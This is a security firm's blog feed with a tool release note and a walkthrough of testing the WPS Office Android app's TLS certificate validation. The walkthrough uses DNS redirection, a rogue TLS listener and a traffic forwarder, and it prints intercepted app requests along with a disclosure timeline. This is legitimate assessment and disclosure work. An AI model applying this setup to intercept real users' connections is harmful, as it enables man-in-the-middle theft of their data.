qsslcaudit https://www.gremwell.com/ en qsslcaudit release v0.8.3 https://www.gremwell.com/qsslcaudit_v0.8.3 <span>qsslcaudit release v0.8.3</span> <div><p>A new version has been released of our tool which we use to assess TLS clients security: <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit/releases/tag/v0.8.3">v0.8.3</a>.</p> <p>The corresponding packages for various Ubuntu versions are prepared in <code>ppa:gremwell/qsslcaudit</code>. Packaging for Kali is handled by Kali maintainers.</p> <p>Each time you dive into the process of TLS handshake you figure out that there is much more deeper. This time several minor improvements have been implemented to address unexpected outcomes which we observed.</p> <p>For instance: set SAN (subject alternative name) when crafting a custom certificate, set expiration time to 1 year instead of 10, use SHA256 digest to sign the certificate. Without these changes modern browsers (and WebViews) will not trust a certificate even if it is signed by the trusted authority.</p> <p>As was mentioned in Github <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit/issues/18">issue</a>, there are clients which may not trust any of ciphers provided by our rogue TLS server. This case has to be handled separately.</p> <p>We believe that there still many hidden &quot;gems&quot; in the TLS world from its practical perspective, thus, expect new releases.</p></div> <span><span lang="" about="/user/347" typeof="schema:Person" property="schema:name" datatype="">pavel</span></span> <span>Mon, 04/12/2021 - 15:55</span> Mon, 12 Apr 2021 13:55:20 +0000 pavel 966 at https://www.gremwell.com Client-side TLS implementation assessment with qsslcaudit - The WPS Office case https://www.gremwell.com/blog/wps-office-case <span>Client-side TLS implementation assessment with qsslcaudit - The WPS Office case</span> <div><h1><a id="user-content-preface" href="#preface" name="preface" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Preface</h1> <p>In this post we demonstrate how to use our tool to assess client-side TLS implementation: <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit">qsslcaudit</a>. <code>qsslcaudit</code> helps determine if a TLS client (mobile application, standalone application, web service) properly validates server's certificate and if only secure protocols are supported. Issues in TLS implementation can be abused by attackers to intercept victim's traffic: extract sensitive information, alter client's requests or server's responses and so on.</p> <p>Basic information on how to use the tool can be found in its <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit/blob/master/README.md">README</a> file. However, we believe that the best demo is real-world test scenario against existing and widely used application. For this demo, we chose to target <a rel="noopener noreferrer" target="_blank" href="https://play.google.com/store/apps/details?id=cn.wps.moffice_eng">KingSoft WPS Office Android mobile application</a>.</p> <p>The issues described here are still not fixed at the time of this writing. We reported them to KingSoft via HackerOne, issues were confirmed but not fixed. Then we reported them to Google, got a reply that this is a known problem as it was reported earlier. Given that Kingsoft developers are aware of it but chose not to fix it, and that Google and some bug bounty hunters also know about this issue, we decided to report it publicly. At least WPS Office users (**over 1.3 billion users** per Google Play Store estimates) will be aware of the risks of using it.</p> <p>Timeline:</p> <ul> <li>27 September 2019. Reported to KingSoft via HackerOne.</li> <li>30 September 2019. KingSoft triaged the issue with comment: <code>Confirmed to be fixed. SSL implementation</code>.</li> <li>22 December 2019. Added reminder that the issues are still not fixed.</li> <li>27 January 2020. Reported to Google via HackerOne Google Play Security Reward Program.</li> <li>28 January 2020. Google replied that the report is being reviewed.</li> <li>3 February 2020. Google closed the report as duplicate.</li> </ul> <h1><a id="user-content-testing-for-client-side-tls-implementation-flaws" href="#testing-for-client-side-tls-implementation-flaws" name="testing-for-client-side-tls-implementation-flaws" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Testing for client-side TLS implementation flaws</h1> <p>Here we describe the approach we follow when testing mobile applications regarding security of the connections they make to upstream servers.</p> <h2><a id="user-content-setup" href="#setup" name="setup" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Setup</h2> <p>We installed WPS Office application from the Play Store. The application version was 12.3.5: [geshifilter-]adb shell dumpsys package cn.wps.moffice_eng | grep -B1 versionName versionCode=352 targetSdk=28 versionName=12.3.5[/geshifilter-]</p> <h2><a id="user-content-traffic-analysis" href="#traffic-analysis" name="traffic-analysis" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Traffic analysis</h2> <p>We configure our test laptop as WiFi access point for the mobile device running the application. We start capturing the traffic on wireless interface, launch the application and use all available features.</p> <p>The idea of this exercise is to determine when the application establishes unencrypted connections or emits unusual type of traffic. If unencrypted communications have been found we investigate them separately. This is not discussed in this post.</p> <p>WPS Office is quite talkative and establishes a large number of connections to various servers. We did not identify non-standard protocols, however, there were plenty of clear-text HTTP connections observed. For instance, the one that sends information about the device and application version:</p> <p><img src="https://www.gremwell.com/sites/default/files/wpsoffice-blogpost_01.png" alt="clear-text traffic" /></p> <p>This is a separate issue to investigate, the objective here is to practice our client-side TLS implementation assessment skills. Let's write down the list of HTTPS servers the application connects to:</p> <ul> <li>dw-online.ksosoft.com</li> <li>shuc-android.ksord.com</li> <li>plugin-server.wps.com</li> <li>movip.wps.com</li> <li>graph.facebook.com</li> <li>service-api.kingsoft-office-service.com</li> <li>cloudservice14.kingsoft-office-service.com</li> <li>store.wps.com</li> <li>abroad-ad.kingsoft-office-service.com</li> <li>firstpage.kingsoft-office-service.com</li> <li>api-ad-adapter.wps.com</li> <li>activity.wps.com</li> <li>shuc-js.ksord.com</li> <li>web.mo.wpscdn.cn</li> <li>drive.wps.com</li> <li>account.wps.com</li> <li>androidweb.wps.com</li> </ul> <p>As can be seen there are a plenty of hosts in this list and it's not even complete. So in order to keep this blog post short and readable, we will only assess a subset of the application's functionality.</p> <p>On fresh start WPS Office application displays the privacy policy agreement screen with the only option to agree with it. Once you agreed, the next screen allows you to &quot;Start WPS Office&quot; or &quot;Login in WPS Office&quot; (if you slide right). Login function is interesting. If you select it the application displays various ways of logging in, along with a &quot;Sign up&quot; link. Clicking &quot;Sign up&quot; opens a screen which allows you to create an account in &quot;WPS Services&quot;.</p> <p>Let's focus on the account creation flow.</p> <h2><a id="user-content-client-side-tls-implementation" href="#client-side-tls-implementation" name="client-side-tls-implementation" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Client-side TLS implementation</h2> <p>In order to perform the assessment of client-side TLS implementation we need to redirect connections made by the client towards our software. This can be done in several ways which are higly dependent on your setup.</p> <p>This time we chose to alter the DNS responses. The reason is that the target systems have several alternating IP addresses which could change. By altering the DNS response we can be sure that the application will connect to our listener.</p> <p>We used <a rel="noopener noreferrer" target="_blank" href="https://github.com/oblique/create_ap.git">create_ap</a> to setup a WiFi access point. Its command line option <code>-d</code> tells DNS server (dnsmasq) to take into account <code>/etc/hosts</code> file. Thus, we can simply add the entries we want into <code>/etc/hosts</code>. For instance, if we want to catch connections made towards <code>dw-online.ksosoft.com</code> we add the following entry:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">192.168.12.1 dw-online.ksosoft.com</div></div> Where `192.168.12.1` is the default IP address assigned to our wireless interface by `create_ap`. <p>We then launch <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit">qsslcaudit</a> with proper set of options:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn dw-online.ksosoft.com</div></div> <p>Let's explain each parameter used:</p> <ul> <li> <code>-l 0.0.0.0</code> listen on all interfaces as the connections come from the outside (we can specify the IP of wireless interface here as well).</li> <li> <code>-p 443</code> listen on 443 port as we used <code>/etc/hosts</code> approach and the connection will be made to the original TCP port. This also requires to run <code>qsslcaudit</code> with superuser privileges.</li> <li> <code>--user-cert subdomain.gremwell.com+chain.pem --user-key subdomain.gremwell.com.key</code> the certificate here is the perfectly valid certificate issued by a trusted certificate authority to <code>subdomain.gremwell.com</code> hostname. In one of the tests the tool will present this certificate. Despite the fact that the certificate is valid the client has to refuse to connect to it as it is issued to another common name. Without providing such certificate the tool will just omit the corresponding test and will present self-signed certificates only.</li> <li> <code>--user-cn dw-online.ksosoft.com</code> the tool will issue self-signed certificates for &quot;dw-online.ksosoft.com&quot; common name. This way we can test if the client trusts any certificate with a valid common name.</li> <li> <code>--selected-tests certs</code> limit to certificate validation tests only. We skip protocols support test just to keep our post short.</li> </ul> <p>A bit more on <code>qsslcaudit</code> usage. Remember that we are testing client-side implementation, each separate test requires a new connection made by the client. Thus, we need to trigger such connections ourselves explicitly by pressing buttons/clicking links or just waiting for the client to retry connection.</p> <p>We are almost ready to launch the test. In this case there is another caveat: the application uses HTTP service of <code>dw-online.ksosoft.com</code> too. We are not really interested for now in the traffic interception and investigation, but in order to keep the application logic fine, we have to properly handle this connection. The easiest way is to use <code>socat</code> to forward traffic received on port TCP/80 to the legitimate server, like this:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">sudo socat TCP4-LISTEN:80,fork,reuseaddr TCP4:18.185.165.181:80</div></div> <h3><a id="user-content-dw-onlineksosoftcom" href="#dw-onlineksosoftcom" name="dw-onlineksosoftcom" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>dw-online.ksosoft.com</h3> <p><code>qsslcaudit</code> produced the following output:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn dw-online.ksosoft.com<br /> preparing selected tests...<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; CVE-2020-0601: no CA certificate provided<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: test for trusting certificate signed by private key with custom curve<br /> <br /> SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019<br /> <br /> running test #1: certificate trust test with user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:33468<br /> SSL connection established<br /> received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #2: certificate trust test with self-signed certificate for user-supplied common name<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:53873<br /> SSL connection established<br /> received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #3: certificate trust test with self-signed certificate for www.example.com<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:52806<br /> SSL connection established<br /> received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #4: certificate trust test with user-supplied common name signed by user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:36898<br /> SSL connection established<br /> received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #5: certificate trust test with www.example.com common name signed by user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:48969<br /> SSL connection established<br /> received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> tests results summary table:<br /> +----|------------------------------------|------------|-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> +----|------------------------------------|------------|-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | FAILED !!! | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <br /> | &nbsp;2 | self-signed certificate for target | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|<br /> | &nbsp; &nbsp;| &nbsp;domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;3 | self-signed certificate for invali | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|<br /> | &nbsp; &nbsp;| d domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;4 | custom certificate for target doma | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|<br /> | &nbsp; &nbsp;| in trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;5 | custom certificate for invalid dom | FAILED !!! | -//- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|<br /> | &nbsp; &nbsp;| ain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----|------------------------------------|------------|-----------------------------+<br /> most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 192.168.12.118<br /> dtls?: false<br /> ssl errors:<br /> ssl conn established?: true<br /> intercepted data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> received data, bytes: 854<br /> transmitted data, bytes: 5567<br /> protocol: TLSv1.2<br /> accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_DHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:TLS_ECDHE_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_EMPTY_RENEGOTIATION_INFO_SCSV<br /> ALPN: http/1.1<br /> <br /> qsslcaudit version: 0.8.1</div></div> <p>You can already see from this output that we spotted an issue. But let's explain this output.</p> <p>At first after launch the tool prepares all the selected tests. It feeds each test with user-supplied parameters and the test decides if it has all necessary data to be launched. For those tests that can not be run with the provided settings the tool prints the corresponding message:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">preparing selected tests...<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; CVE-2020-0601: no CA certificate provided<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: test for trusting certificate signed by private key with custom curve</div></div> <p>Then it prints the OpenSSL library version used. It is important to verify it if some tests are unable to launch. This should be &quot;1.0.2&quot; version, like this one:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019</div></div> <p>After that the tool executes each test one by one. For each test a TLS listener is launched on the provided socket. The listener is configured with settings and certificates according to the current test. When the client connects to the listener and the TLS handshake is completed, the test is considered as done and the following output is printed:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">Running test #1: certificate trust test with user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 192.168.12.118:33468<br /> SSL connection established<br /> received data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished</div></div> <p>In this case the client connected from <code>192.168.12.118</code> IP, agreed to establish the TLS connection and sent some data (HTTP POST request). The tool remembers the results and runs the next test.</p> <p>Once all tests are completed the tool outputs a summary table like the one shown above. In fact, it is coloured, so one can easily identify if something was spotted:</p> <p><img src="https://www.gremwell.com/sites/default/files/wpsoffice-blogpost_02.png" alt="summary mitm" /></p> <p>Then the tool attempts to compare all incoming connections and decide if they were made by the same TLS client. This becomes useful if it is not possible to isolate network and some unexpected connections can be received. Lastly <code>qsslcaudit</code> prints a fingerprint of the first connection (and others, if they are different). Such fingerprint can be used to double-check that the expected client was caught. The most useful field in this case is server name indication (SNI). However, WPS Office did not use such:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">most likely all connections were established by the same client<br /> the first connection details:<br /> source host: 192.168.12.118<br /> dtls?: false<br /> ssl errors: <br /> ssl conn established?: true<br /> intercepted data: POST /api/dynamicParam/v1/app/bf6f6bab78a07c6b HTTP/1.1<br /> accept: */*<br /> connection: Keep-Alive<br /> Accept-Encoding: gzip<br /> Charset: UTF-8<br /> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; MI 4W Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Mobile Safari/537.36<br /> Host: dw-online.ksosoft.com<br /> Content-Type: application/json<br /> Content-Length: 161<br /> <br /> {&quot;appVersion&quot;:&quot;12.3.5&quot;,&quot;channel&quot;:&quot;en00001&quot;,&quot;abTestVersion&quot;:0,&quot;sendUrlVersion&quot;:0,&quot;transportControlVersion&quot;:0,&quot;eventsVersion&quot;:0,&quot;abTestName&quot;:&quot;&quot;,&quot;abTestGroupId&quot;:&quot;&quot;}<br /> received data, bytes: 854<br /> transmitted data, bytes: 5567<br /> protocol: TLSv1.2<br /> accepted ciphers: 